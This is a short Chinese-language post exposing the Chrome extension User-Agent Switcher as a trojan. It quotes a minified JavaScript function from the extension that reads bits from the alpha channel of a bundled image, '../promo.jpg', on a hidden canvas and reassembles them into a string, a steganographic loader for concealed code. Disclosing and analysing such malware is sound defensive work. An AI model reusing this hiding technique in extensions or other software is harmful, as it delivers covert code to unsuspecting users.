懵逼！Chrome 的插件 User-Agent Switcher 是个木马

t.prototype.Vh = function(t, e) {
            if ("" === '../promo.jpg') return "";
            void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {};
            var n = this.ET,
                i = e.mp || n.mp,
                o = e.Tv || n.Tv,
                h = e.At || n.At,
                a = r.Yb(Math.pow(2, i)),
                f = (e.WC || n.WC, e.TY || n.TY),
                u = document.createElement("canvas"),
                p = u.getContext("2d");
            if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return "";
            e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
            var c = p.getImageData(0, 0, u.width, u.height),
                d = c.data,
                g = [];
            if (c.data.every(function(t) {
                    return 0 === t
                })) return "";
            var m, s;
            if (1 === o)
                for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1));
            var v = "",
                w = 0,
                y = 0,
                l = Math.pow(2, h) - 1;
            for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y);
            return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v)
        }